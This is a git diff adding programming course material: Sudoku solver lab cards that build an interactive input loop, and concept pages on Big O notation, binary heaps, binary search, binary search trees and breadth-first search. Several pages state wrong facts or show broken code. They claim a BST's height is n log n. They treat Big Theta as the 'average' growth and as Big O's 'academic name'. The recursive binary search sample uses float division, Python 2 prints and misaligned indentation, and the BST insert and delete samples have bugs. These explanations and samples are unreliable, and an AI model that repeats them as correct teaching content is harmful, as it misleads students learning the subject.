+# The UI, with options for entering grids, finding next moves, printing the current grid, finishing the grid, and printing out
+# possible values for a row and column index
+if len(grid) == 0:
+ tempGrid = []
+
+ data = ""
+ while len(data) != 81:
+ tempGrid = []
+ data = input("Type in the grid, going left to right row by row, 0 = empty: ")
+ if len(data) != 81:
+ print("Not 81 characters.")
+ else:
+ for row in range(0,9):
+ r = []
+ for col in range(0,9):
+ r.append(int(data[row*9+col]))
+ tempGrid.append(r)
+ if not isValid(tempGrid):
+ data = ""
+ print("Invalid grid.")
+ printGrid(tempGrid)
+
+
+ grid = tempGrid
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/9.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/9.md
new file mode 100644
index 00000000..cd5ec100
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/9.md
@@ -0,0 +1,31 @@
+
+
+
+
+
+
+# main() Part 2
+
+
+
+After the user has successfully inputted a valid `grid`, we need to provide controls with possible options the user can use as their Sudoku board goes through the solving process. The UI for the controls will be prompted to the user as shown below:
+
+```python
+Controls:
+ 'Enter': Display the next move
+ 'p': Print the current grid (small)
+ 'c': Complete the grid (or attempt to)
+ '(r,c)': Prints the possible options for that row, column
+```
+
+Controls:
+
+- If the user pressed `Enter`: it will print the next move that occurred (solving one square in the Sudoku board).
+- If the user pressed `p`: it will print the entire grid in its current state.
+- If the user pressed `c`: it will complete the entire grid and print the final, finished Sudoku board if possible.
+- If the user enters in a row, column pair `(r, c)`: it will print the possible values for that row, column pair (square).
+
+Depending on whatever the user inputted, we must take that input and call the appropriate function for their request. You must check what the user inputted to drive whatever operation you'll be performing.
+
+Additionally, we will be using a timer in case the user enters `c` because we will provide them the time it takes to solve their Sudoku board. The timer is a simple implementation that will be handled using the **`time()`** function.
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/91.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/91.md
new file mode 100644
index 00000000..62a5d232
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/91.md
@@ -0,0 +1,21 @@
+
+
+
+
+
+
+# main() Part 2
+
+Here are some specific hints about implementing main() part 2:
+
+* Our timer should start at 0.
+* You should output the user options (described earlier) to the screen and wait for the user's response before taking any action.
+* There should be a few conditionals (if, elif, else) for handling each type of input. Specifically, here are some functions you should invoke in developing the algorithm for each option.
+ * p: `printGrid()`
+ * c: `complete()`
+ * `(r, c)`: `findPossible()`
+ * `enter`: `nextMove()`
+* The function `hasMoves()` will play a large role in determining when we should stop asking for input. When `hasMoves()` is false, the grid is complete, and we need to compute the elapsed time.
+
+
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/911.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/911.md
new file mode 100644
index 00000000..03c649b3
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/911.md
@@ -0,0 +1,88 @@
+
+
+
+
+
+
+# main() Part 2
+
+Step 1: First, we will initialize our timers to 0. This will be our starting time, represented by `time1`:
+
+```python
+time1 = 0
+```
+
+Step 2: Proceed to ask the user to enter one of the options and accept their input as `c`:
+
+```python
+time1 = 0
+
+c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+```
+
+That string is a mouthful! The `\n` and `\t` make the string readable on *output*. Here's how it will actually look on the screen:
+
+```
+Controls:
+ 'Enter': Display the next move
+ 'p': Print the current grid (small)
+ 'c': Complete the grid (or attempt to)
+ '(r,c)': Prints the possible options for that row, column
+```
+
+Step 3: Condition a while-loop that checks `hasMoves()`.
+
+Since the user has the option to solve the Sudoku Solver one move at a time or let it complete itself, we have to condition on a while-loop that checks `hasMoves()` and determines if the user entered a valid option:
+
+```python
+time1 = 0
+
+c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
+```
+
+Step 4: Then, we will have a series of if/elif/else statements that determine what options were chosen by the user and to handle their request with the appropriate operation:
+
+```python
+time1 = 0
+
+c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
+ if c == "p":
+ # print the current grid
+ elif c == "c":
+ # attempt to complete the grid
+ elif len(c) > 0 and c[0] == "(":
+ # print the possible options for that (row, column)
+ else:
+ # display the next move
+
+```
+
+`len(c) == 0` is checked in the while-loop condition in case the user presses the `enter` key to display the next move. The `enter` key is not stored as a character and has a length of zero, implying that `enter` was pressed.
+
+For the second `elif`, we check if `len(c) > 0 and c[0] == "("` in order to determine if the user inputted a row, column pair. That's the only option where `c` would have a greater length than one character AND the first element in `c` must be equal to `(`.
+
+The other cases for `p` and `c` are simple cases of string compared to determining what the user requested respectively.
+
+Step 5: Since the user can potentially work through the Sudoku puzzle one move at a time (by pressing `enter`), then we must continue looping to accept their next user input request for their desired operation. We must check if the `grid` is finished. If not, we will provide the user with the controls again and await their next input. Otherwise, the `grid` is complete.
+
+```python
+time1 = 0
+
+c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
+ if c == "p":
+ # Implement logic to print the current grid
+ elif c == "c":
+ # Implement logic to attempt to complete the grid
+ elif len(c) > 0 and c[0] == "(":
+ # Implement logic to print the possible options for that (row, column)
+ else:
+ # Implement logic to display the next move
+ if hasMoves(grid):
+ c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+ else:
+ # Implement logic for when grid is complete!
+```
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/912.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/912.md
new file mode 100644
index 00000000..c4e37083
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/912.md
@@ -0,0 +1,70 @@
+
+
+
+
+
+
+# main() Part 2
+
+Let's get into the specifics of each case!
+
+If the user enters `p` to print the grid, we simply just call the function we have already created to do so (`printGrid()`)!
+
+```python
+ if c == "p":
+ printGrid(grid)
+```
+
+If the user enters `c` to complete the grid, we will start the timer on `time1` and call the function we created to complete the grid (`complete()`). However, the call must be conditioned in the case that the grid cannot be finished. Thus, we will prompt the user with this print statement: `"Failed to complete. Please improve algorithm. :)"`.
+
+```python
+ elif c == "c":
+ time1 = time.time()
+ if not complete(grid):
+ print("Failed to complete. Please improve algorithm. :)")
+ #break
+```
+
+If the user enters a row, column pair (`(r, c)`), we must print the possible options for that square. To do this, we will simply print the result from `findPossible()` on the row, column pair the user specified.
+
+```python
+ elif len(c) > 0 and c[0] == "(":
+ print(findPossible(int(c[1])-1,int(c[3])-1,grid))
+```
+
+Step 1: Do an `int` typecast to ensure that the `findPossible` function can use the actual integer value of the input.
+
+We subtract 1 from `int(c[1])` and `int(c[3])` respectively because `findPossible`'s parameters are *indices* (indexing starts at 0!) and the user entered row and column numbers, whose counting starts from 1.
+
+Step 2: For the last case where the user presses `enter`, we will just call `nextMove()` to get the next move for them!
+
+```python
+ else:
+ nextMove(grid)
+```
+
+Now, we have implemented most of our input handling for procedurally operating through the Sudoku solver. As of now, this is what Part 2 of our input handling looks like:
+
+```python
+time1 = 0
+
+c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
+ if c == "p":
+ printGrid(grid)
+ elif c == "c":
+ time1 = time.time()
+ if not complete(grid):
+ print("Failed to complete. Please improve algorithm. :)")
+ #break
+ elif len(c) > 0 and c[0] == "(":
+ print(findPossible(int(c[1])-1,int(c[3])-1,grid))
+ else:
+ nextMove(grid)
+ if hasMoves(grid):
+ c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+ else:
+ # Implement logic for when grid is complete!
+```
+
+Step 3: Implement the else statement for when the grid is complete (when `hasMoves(grid)` evaluates to False).
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/913.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/913.md
new file mode 100644
index 00000000..9c6f4b50
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/913.md
@@ -0,0 +1,61 @@
+
+
+
+
+
+
+# main() Part 2
+
+In the else statement from when we've confirmed that the `grid` is complete, we need to stop our timer and compute the elapsed time. Also, we will print our now complete `grid`:
+
+```python
+ else:
+ time2 = time.time()
+ printGrid(grid)
+ if time1 != 0:
+ print("Solved in %0.2fs!" % (time2-time1))
+ else:
+ print("Solved!")
+```
+
+Step 1: Assign `time2` to `time.time()`.
+
+This will give us the current time when we have reached inside this else statement.
+
+Step 2: Check that `time1 != 0` to confirm that a time was recorded for `time1`.
+
+Once this is done, we can compute the time spent to complete the Sudoku board with the computation `time2 - time1`.
+
+Step 3: Call `printGrid(grid)` to print our final grid.
+
+Now, we have finally finished our Sudoku Solver! This is how our logic will appear for user input options during the process of solving their valid Sudoku board:
+
+```python
+time1 = 0
+
+c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+while hasMoves(grid) and (len(c) == 0 or c == "p" or c == "c" or c[0] == "("):
+ if c == "p":
+ printGrid(grid)
+ elif c == "c":
+ time1 = time.time()
+ if not complete(grid):
+ print("Failed to complete. Please improve algorithm. :)")
+ #break
+ elif len(c) > 0 and c[0] == "(":
+ print(findPossible(int(c[1])-1,int(c[3])-1,grid))
+ else:
+ nextMove(grid)
+
+ if hasMoves(grid):
+ c = input("Controls:\n\t'Enter': Display the next move\n\t'p': Print the current grid (small)\n\t'c': Complete the grid (or attempt to)\n\t'(r,c)': Prints the possible options for that row, column\n")
+ else:
+ time2 = time.time()
+ printGrid(grid)
+ if time1 != 0:
+ print("Solved in %0.2fs!" % (time2-time1))
+ else:
+ print("Solved!")
+```
+
+That's it! We are done! Congratulations on completing the Sudoku Solver Lab!
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/README.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/README.md
new file mode 100644
index 00000000..c5b99980
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/Cards/README.md
@@ -0,0 +1,22 @@
+# Sudoku Solver
+
+# Long Summary
+
+In this lab, student will create a program to solve a Sudoku challenge by taking in user input and indexing through a 2D list.
+
+# Short Summary
+
+Student will create a program to solve a Sudoku game using a 2D list.
+
+# Criteria
+
+1. Explain how to use a nested for-loop to iterate through a 2D list.
+
+2. How does the function testPossible() work?
+
+3. How does the function nextMove() word?
+
+# Difficulty
+
+Hard
+
diff --git a/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/README.md b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/README.md
new file mode 100644
index 00000000..c677caf2
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/Module3-Search-and-Sorting-Algos/Lab6_Sudoku_Solver/README.md
@@ -0,0 +1,22 @@
+# github_id
+16
+
+# name
+Suoku Solver
+
+# description
+Student will create a program to solve a sudoku game using a 2D List.
+
+# summary
+In this lab, student will create a program to solve a sudoku challenge by taking in user input and indexing through a 2D list.
+
+# difficulty
+Medium
+
+# image
+
+
+# image_folder
+Topic1/Module2_test/Activity_4/
+
+# cards
diff --git a/Data-Structures-and-Algos-Topic/README.md b/Data-Structures-and-Algos-Topic/README.md
new file mode 100644
index 00000000..01b84abf
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/README.md
@@ -0,0 +1,18 @@
+# Github_id
+1
+
+# Name
+Data Structures and Algorithms Topic
+
+# Description
+Students will learn data structures and algorithms through concepts such as time and space complexity,
+stacks, hashtables, linked lists, trees, sorting, and more.
+
+# Image
+
+
+# Image_folder
+Data-Structures-and-Algos-Topic/
+
+# Modules
+* 1
diff --git a/Data-Structures-and-Algos-Topic/concepts/Big O Concept.mdx b/Data-Structures-and-Algos-Topic/concepts/Big O Concept.mdx
new file mode 100644
index 00000000..4442a1ac
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Big O Concept.mdx
@@ -0,0 +1,96 @@
+# concept_name
+Big O Notation
+
+# Big O Notation Step 1
+
+## name
+```
+How to determine Big O notation for a function
+```
+
+## md_content
+```
+# Big O Notation
+
+These are three important terms that are associated with Time and Space Complexity. Big O notation allows us to express the rate of growth of a function.
+
+##### To determine Big O notation for a function:
+
+1. Determine the fastest growing term in a function
+2. Drop all the coefficients of the term
+3. Check for Corresponding Big O notation
+```
+# Big O Notation Step 2
+
+## name
+```
+Common Times
+```
+
+## md_content
+```
+Below is a table for the common times and their corresponding Big O Notation.
+
+| Time | Big-O Notation |
+| ---------------- | -------------- |
+| Constant Time | O(1) |
+| Linear Time | O(n) |
+| Quadratic Time | O(n^2^)) |
+| Factorial Time | O(n!) |
+| Logarithmic Time | O(log n) |
+
+**It's very important to note that Big O Notation is determined as *n* gets very large! We care more about the runtime of a function or algorithm when the input is very large than when it is small**.
+
+```
+# Big O Notation Step 3
+
+## name
+```
+Big Theta
+```
+
+## md_content
+```
+### Big Theta
+
+Big Theta is what we have been talking about up above. It is commonly referenced as **Big O** but it's academic name is **Big Theta**. It is not to be confused with the academic **Big O**, which for clarity will be displayed as : **Big (O)**.
+
+**Big Theta** is simply the average rate of growth for a function of Algorithm. When we identified the fastest growing term in a function, we dropped all the other terms of the function to get an estimate of the growth. What we did was find **Big Theta**.
+
+```
+
+# Big O Notation Step 4
+
+## name
+```
+Big (O)
+```
+
+## md_content
+```
+
+### Big (O)
+
+Big (O) essentially serves as an upper bound for a function. It is a function whose curve on a graph, at least after a certain point on the x-axis (input size), will always be higher on the y-axis (time) than the curve of the runtime. Since higher on the y-axis is more time, and therefore slower, the algorithm will always go faster, after a point, than the Big (O). In other words, Big (O) tells us that after a certain input number, our function's runtime will never exceed the runtime of Big (O).
+
+The vertical axis represents runtime. The horizontal axis represents the input size. As seen, after a certain point, the runtime of **n^2^** will always exceed the run time of **log(n)**. Hence, **O(n^2^)** is the **Big (O)** to **O(log(n))**.
+```
+## image
+
+
+ # Big O Notation Step 5
+
+## name
+```
+Big Omega
+```
+
+## md_content
+```
+
+### Big Omega
+
+Big Omega is the opposite of Big (O). Big Omega serves as a lower bound for a function or algorithm. Big Omega tells us that after a certain point, the fastest our function will run is the **Big Omega**. **O(1)** is a the **Big Omega** to most functions, because it **O(1)** runs on constant time, but, in general, we want our **Big Omega** and **Big (O)** to be as close as possible to our **Big Theta**.
+
+```
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/BinaryHeap.md b/Data-Structures-and-Algos-Topic/concepts/BinaryHeap.md
new file mode 100644
index 00000000..d4bd9cb0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/BinaryHeap.md
@@ -0,0 +1,29 @@
+
+
+# Binary Heaps
+
+#### Binary Heaps:
+
+One interesting type of tree data structure is a **Binary Heap**, which is a type of binary tree. A binary tree is a data structure where each node can have 0, 1, or 2 children, that is, nodes connected to them that are 'lower' in the tree. Binary heaps have the following properties that make them a specific type of tree:
+
+- All nodes are completely filled, meaning they have two children, except for the last level, whose nodes can have single children so long as they are all as left-most as possible.
+- New children must be added to the left-most available position.
+- It is either an instance of a Min Heap or Max Heap.
+
+A **Min Heap** is a heap where the root has the smallest key and the keys on the nodes get larger as you go down the tree. A **Max Heap** is a heap where the root has the largest key and the keys on the nodes get smaller as you go down the tree. In either case, the heap is sorted, smallest to largest or vice versa.
+
+Examples of **Binary Heaps**:
+
+
+
+The image on the left is an example of a **Min Heap**. The image on the right is an example of a **Max Heap**.
+
+Heaps are helpful when you want to find the minimum of maximum value of a data set. Since max heaps store the greatest key at the root, and min heaps store the smallest key at the root, you can use max heap or min heap when you know you always want to find the largest and lowest value, respectively.
+
+There are two common binary heap operations: insert and delete. Let's take a look.
+
+- **Insert** is used to add a new node into the heap. Because these heaps are ordered numerically, this operation must insert the new key into a precise location in the heap, and reorder the heap so a) the key it replaces is moved the correct location, and b) the leaf nodes on the lowest level are all still in the left-most position. In the simplest case, you only have to add a node the edge on the heap. In the most complicated case, the new node replaces the root, or top, node, changing the entire structure of the heap.
+- **Delete** is similar to insert, but slightly more complicated. In must maintain the same rules — keeping leaf nodes left-most — but it recquires a specific method. Because removing from the middle of the heap is complicated, we swap the node to be deleted with the right-most leaf node, then delete the desired node (which is now a leaf node), and then move the swapped node back to it's proper position lower in the heap. Again, removing a leaf node will be easiest, but removing the root means the swapped leaf node has to move all the way back down the heap, which can take a while.
+
+Heaps are usually stored in an array, because the nodes can be found using arithmetic. This means that a given nodes' parent and child nodes can be found using equations, using division and mutiplication by two, which is very efficient.
+
diff --git a/Data-Structures-and-Algos-Topic/concepts/BinarySearch.md b/Data-Structures-and-Algos-Topic/concepts/BinarySearch.md
new file mode 100644
index 00000000..8a1dd2b1
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/BinarySearch.md
@@ -0,0 +1,82 @@
+
+
+# What is Binary Search
+
+Binary search compares the target value to the middle element of the array. If they are not equal, the half in which the target cannot lie is eliminated and the search continues on the remaining half, again taking the middle element to compare to the target value, and repeating this until the target value is found. If the search ends with the remaining half being empty, the target is not in the array.
+
+### How does Binary Search Work?
+
+For a binary search to work, it is mandatory for the target array to be sorted. We shall learn the process of binary search with a pictorial example. The following is our sorted array and let us assume that we need to search the location of value 31 using binary search.
+
+
+
+First, we shall determine half of the array by using this formula:
+
+```
+mid = low + (high - low) / 2
+```
+
+Here it is, 0 + (9 - 0 ) / 2 = 4 (integer value of 4.5). So, 4 is the mid of the array.
+
+
+
+Now we compare the value stored at location 4, with the value being searched, i.e. 31. We find that the value at location 4 is 27, which is not a match. As the value is greater than 27 and we have a sorted array, so we also know that the target value must be in the upper portion of the array.
+
+
+
+Hence, we calculate the mid again. This time it is 5.
+
+
+
+We compare the value stored at location 5 with our target value. We find that it is a match.
+
+
+
+We conclude that the target value 31 is stored at location 5.
+
+Binary search halves the searchable items and thus reduces the count of comparisons to be made to very less numbers. It does this by using recursion, where the function calls itself with new parameters — this cuts the set of values we search in half.
+
+#### Binary Search Code
+
+ Python Program for recursive binary search.
+
+# Returns index of x in arr if present, else -1
+def binarySearch (arr, l, r, x):
+
+```python
+# Check base case
+if r >= l:
+
+ mid = l + (r - l)/2
+
+ # If element is present at the middle itself
+ if arr[mid] == x:
+ return mid
+
+ # If element is smaller than mid, then it
+ # can only be present in left subarray
+ elif arr[mid] > x:
+ return binarySearch(arr, l, mid-1, x)
+
+ # Else the element can only be present
+ # in right subarray
+ else:
+ return binarySearch(arr, mid + 1, r, x)
+
+else:
+ # Element is not present in the array
+ return -1
+# Test array
+arr = [ 2, 3, 4, 10, 40 ]
+x = 10
+
+# Function call
+result = binarySearch(arr, 0, len(arr)-1, x)
+
+if result != -1:
+ print "Element is present at index % d" % result
+else:
+ print "Element is not present in array"
+```
+
+The time complexity of recursive binary search is O(1), best case. If the desired value is at the first midpoint, then the first iteration of the function is enough to find the value. The worst case time (and average case) is O(logn), since we divide the value set in half every time the function calls itself again. Space complexity is also O(logn). Binary search is the most efficient search, since the scope of the search is cut in half every time you don't find the value.
diff --git a/Data-Structures-and-Algos-Topic/concepts/BinarySearchTree.md b/Data-Structures-and-Algos-Topic/concepts/BinarySearchTree.md
new file mode 100644
index 00000000..158216fd
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/BinarySearchTree.md
@@ -0,0 +1,39 @@
+
+
+# Binary Search Trees
+
+A **Binary Search Tree (BST)** is a data structure that holds data in nodes. The nodes are formed in a hierarchy that forms the 'tree' as shown below. Parent nodes can have children, which can also be parents to their own children, forming the tree structure. BSTs also have a few more requirements.
+
+##### BST Rules:
+
+* Each node in the tree can have only 0, 1, or 2 children.
+* Every node in the left subtree of a parent node has keys that are lower in number than the key of that parent node. This includes all nodes, not just the immediate left child node.
+* Every node in the right subtree of a parent node has keys that are higher in number than the key of that particular node. This includes all nodes, not just the immediate right child node.
+
+Let's see an example of a valid vs invalid BST:
+
+
+
+
+
+Are you able to tell which tree is a valid BST and which is invalid?
+
+The **top** tree is an **invalid** BST because the node containing the key 10 is in a right subtree of the node containing the key 30. Likewise, the bottom tree is valid since it abides by all the BST rules. You may have noticed that all subtrees of a BST are also BSTs.
+
+In order to implement a BST in Python, we just need to adjust our previous `Node` class.
+
+```Python
+class Node:
+ def __init__(self, key):
+ self.left = None
+ self.right = None
+ self.key = key
+```
+
+Since we know that BST nodes only have two children max, we no longer need a list to store the children; we simply store the left child as the **left** element and the right child as the **right** element. In the `Node` class the left and right children are initialized to null.
+
+BSTs can be implemented as arrays or as linked lists. When implemented as arrays, children nodes of a parent node with index 'k' are easily found with the algorithm 2k and 2k+1, to find left and right children respectively. Arrays can only represent complete trees, or trees whose nodes each have two children, except for the last level where all leaf nodes must be as left-most as possible. This representation is useful for searching for nodes.
+
+When implemented as linked lists, the BST doesn't need to be complete, but you can't find nodes at given indices since linked lists aren't ordered with indices like the array data structure is. Linked list BSTs are useful for adding or removing certain nodes, because the use of pointers allows for easy altering of the node sequence.
+
+BSTs are useful because you can use the binary search to locate elements in the tree. They are also useful when they are implemented as a binary heap, where the elements are ordered by key value, either smallest to largest or vice versa, making the search for the minimum or maximum value very efficient. BSTs can also be used to implement other data structures. These concepts will be discussed later, but it's good to keep in mind why we want to use these tools.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/concepts/BinarySearchTreeDelete.md b/Data-Structures-and-Algos-Topic/concepts/BinarySearchTreeDelete.md
new file mode 100644
index 00000000..da209dd4
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/BinarySearchTreeDelete.md
@@ -0,0 +1,59 @@
+
+
+# BSTDelete()
+
+The last fundamental function that allows us to interact with BSTs is `BSTDelete`, which will allow us to remove unwanted nodes from our tree. `BSTDelete` is arguably the most complicated of the BST functions we have learned so far because we have to fix the tree once we remove a node.
+
+##### Deleting a BST Node:
+
+When deleting a BST node, there are **two main cases**:
+
+* **Leaf/1 Child Case:** The easier of the two cases is when the node we want to delete is a leaf in the BST or a node with only one child. Since a leaf does not have any children, deleting it from a BST leaves us with a proper BST, meaning we do not have to change the structure of the tree and can simply remove the node. Also, if a node we want to delete only has one child, we can just delete that node and place its child where it used to be. Here is an example of case 1:
+
+
+
+* **Internal Node Case**: The more challenging case occurs when you want to delete an internal node in the BST. If you simply deleted the node, you would lose the children. Therefore, when an internal node is deleted, it must be replaced with the maximum node of the deleted node's left subtree or minimum node of the deleted node's right subtree (your code implementation will determine the preference between these two options) in order to still follow the rules of a BST. Here is an illustration that should help your understanding:
+
+
+
+#### BSTDelete()
+
+Due to the various cases when deleting a BST node, the `BSTDelete` function is a little more complex than `BSTSearch` and `BSTInsert`. However, don't be intimidated by the code; make certain you understand the process of deleting a node, because the code simply follows that logic. Let's take a look:
+
+```Python
+def smallestNode(curNode):
+ inspectedNode = curNode
+ while(inspectedNode.left is not None):
+ inspectedNode = inspectedNode.left #Go left as far as possible
+ return inspectedNode
+
+def BSTDelete(curNode, key):
+ if curNode is None:
+ return curNode
+ if (key < curNode.key):
+ curNode.left = BSTDelete(curNode.left, key)
+ elif (key > curNode.key):
+ curNode.right = BSTDelete(curNode.right, key)
+ else: #found node to be deleted
+ if curNode.left is None: #Case 1
+ tempNode = curNode.right
+ curNode = None #Delete node
+ return tempNode
+ elif curNode.right is None: #Case 1
+ tempNode = curNode.left
+ curNode = None #Delete node
+ return tempNode
+
+ #Internal Node Case:
+ tempNode = smallestNode(curNode.right) #find smallest key node of right subtree
+ curNode.key = tempNode.key
+ curNode.right = BSTDelete(curNode.right, tempNode.key)
+
+
+```
+
+The first half of `BSTDelete` is simply finding the node that is desired to be deleted. Once found, it will enter the else statement and begin the process of being deleted. The code becomes a bit confusing when we get to the **Internal Node Case**. As you can see, it takes advantage of a function `smallestNode` that simply goes left until it finds null, which will return the smallest key in that tree. The **Internal Node Case** calls smallestNode on the right child of the node we want to delete, meaning we are going to be replacing the node we want to delete with the smallest key node of its right subtree. We then simply swap their keys and call `BSTDelete` on the node now containing the key of the node we orginally wanted to delete (this node will eventually be deleted once it gets to a **Case 1** scenario).
+
+Although `BSTDelete` seems complicated initially, if you read through it slowly, you will realize that it simply follows the logic of either the **Leaf/1 Child Case** or the **Internal Node Case**. I recommend rereading the two cases if you're having trouble understanding the `BSTDelete` code.
+
+The Big O time complexity of `delete()` is O(h), h being the height of the binary search tree. O(h) is O(nlogn), since the height of a binary search is nlog(n). So, the 'taller' the tree, the more time it takes to delete a value. The node that takes the longest to delete would be the root of the tree, because it takes O(h) to replace the root with the smallest node.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/concepts/BinarySearchTreeInsert.md b/Data-Structures-and-Algos-Topic/concepts/BinarySearchTreeInsert.md
new file mode 100644
index 00000000..7e0f1b86
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/BinarySearchTreeInsert.md
@@ -0,0 +1,32 @@
+
+
+# Binary Search Tree Insert
+
+When working with Binary Search Trees (BST), a useful tool to have is to be able to insert/add nodes to the tree.
+
+#### BST Insert:
+
+When adding a new node to a BST, we must make sure to find the correct place to insert that node. Let's look at the code for `BSTInsert`:
+
+```Python
+def BSTInsert(curNode, newNode):
+ if curNode is None:
+ curNode = newNode
+ else:
+ if curNode.key < newNode.val:
+ if curNode.right is None:
+ curNode.right = newNode
+ else:
+ BSTInsert(curNode.right, newNode)
+ else:
+ if curNode.left is None:
+ curNode.left = newNode
+ else:
+ BSTInsert(curNode.left, newNode)
+```
+
+`BSTInsert` traverses through the BST in a similar way to `BSTSearch`. However, once it finds that the specific child is null in the place the new node belongs, it places that node there. It does this by checking if the value of the new node is greater or less than the node it's currently being compated to. If the new node value is greater, it will try to insert it to the right. Otherwise, it's smaller, and it will be inserted to the left of the next largest node value.
+
+The time and space complexity is O(h), where h is the height of the tree. O(h) is O(nlogn), since the height of a binary search is nlog(n). The more nodes in the tree, the more values to be compared to, thus taking up more time and space. The worst case time is O(n).
+
+Try working and experimenting with the code on your own machine.
\ No newline at end of file
diff --git a/Data-Structures-and-Algos-Topic/concepts/Breath-First Search(BFS).md b/Data-Structures-and-Algos-Topic/concepts/Breath-First Search(BFS).md
new file mode 100644
index 00000000..aa12add0
--- /dev/null
+++ b/Data-Structures-and-Algos-Topic/concepts/Breath-First Search(BFS).md
@@ -0,0 +1,91 @@
+
+
+# Breath-First Search
+
+Breath-First Search(BFS) is one of our data searching algorithms we can use to navigate data, graphs, or search trees. BFS is best explained using a visual aide.
+
+
+
+The number of each circle is the order in which we navigate our data structure. Let's examine how and why we take the path we do.
+
+1. We originally start at a **root** point. In our visual aide, our start would be 1.
+2. We notice that there are 3 branches attached to Circle 1. These branches are circles 2, 3, and 4.
+3. At circle 2 and circle 4, we notice that each have two nodes branching from them. Circle's 5 and 6 are attached to circle 2, and Circle's 7 and 8 are attached to Circle 4. Circle 3 has no nodes attached to it, so we know we no longer need to explore the "Circle 3 path".
+4. We explore all the paths attached to Circle 2 and Circle 4. In BFS, we are, at max, one node deep at a time. For example, after exploring Circle 5, we note that two nodes are available, Circle 9 and Circle 10, but we do not explore these circles. After exploring Circle 5, we turn back to Circle 2 and then proceed to explore Circle 6.
+5. We repeat this process for Circles 6, 7, and 8 noting any attached nodes. We notice that Circle 6 and 7 have no nodes attached to them so we no longer need to go down those paths.
+6. Repeat this process until we've completely explored the entire map.
+
+## BFS in Python
+
+Below is a python function that incorporates BFS.
+
+```python
+# Python3 Program to print BFS traversal
+# from a given source vertex. BFS(int s)
+# traverses vertices reachable from s.
+from collections import defaultdict
+
+# This class represents a directed graph
+# using adjacency list representation
+class Graph:
+
+ # Constructor
+ def __init__(self):
+
+ # default dictionary to store graph
+ self.graph = defaultdict(list)
+
+ # function to add an edge to graph
+ def addEdge(self,u,v):
+ self.graph[u].append(v)
+
+ # Function to print a BFS of graph
